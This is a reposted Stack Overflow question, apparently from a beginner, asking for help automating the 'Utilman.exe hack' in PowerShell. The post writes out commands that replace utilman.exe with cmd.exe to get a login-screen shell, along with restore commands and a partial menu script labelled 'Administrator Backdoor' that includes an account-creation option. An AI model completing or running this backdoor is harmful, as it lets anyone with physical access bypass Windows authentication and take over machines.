Quantcast
Channel: Active questions tagged powershell-3.0 - Stack Overflow
Viewing all articles
Browse latest Browse all 134

Replace-Files Powershell

$
0
0

I'm having some struggles with my PowerShell script. I am trying to make an Automated Script that will Perform the Utilman.exe Hack. The script has menus and options: Load, Unload, List Disk and Create Account.

I want "Load" To:
Copy-Item C:\Windows\System32\utilman.exe C:\Windows\System32\utilman.exe.bak

Copy-Item C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe

Then I want "Unload" To:

Remove-Item C:\Windows\System32\utilman.exe

Rename-Item C:\Windows\System32\utilman.exe.bak utilman.exe

Now the issue I have is that, when you are in the ADK PE Environment, the C:\ Drive isn't 'C:'. it can be anything from A - Z (Excluding X:)

I was going to just put "Copy-Item", But it isn't as automated and still requires the user to know where the directories are etc.

Here is my current code:

    param (        [string]$Title = "TEST"    )    do {        Clear-Host        Write-Host -ForegroundColor Magenta "$Title"        Write-Host -ForegroundColor Cyan -BackgroundColor Magenta "</Administrator Backdoor>"        Write-Host -ForegroundColor Red "[i] Requires ADK Enviroment"        Write-Host -ForegroundColor DarkCyan "[1] Load"        Write-Host -ForegroundColor DarkCyan "[2] Unload"        Write-Host -ForegroundColor DarkCyan "[3] ListDisk"        Write-Host -ForegroundColor DarkCyan "[4] Create Account"        Write-Host -ForegroundColor DarkCyan "[H] Help"        Write-Host -ForegroundColor DarkCyan "[B] <- Back"        $subMenu1 = Read-Host "What would you like to do?"        switch ($subMenu1) {'B' { exploitMenu1 }'H' { adminHelp1 }'1' {  }'2' {  }'3' { Write-Host -ForegroundColor Red "Showing Disk's"                  Get-PSDrive -PSProvider FileSystem                  Read-Host "`nPress Enter to return" }'4' {  }        }    } while ($true)}

Any help would be appreciated. I am new to PowerShell script making. It would also be Appreciated if anyone could tell me where to place code etc.

Thank you :)


Viewing all articles
Browse latest Browse all 134

Trending Articles



<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>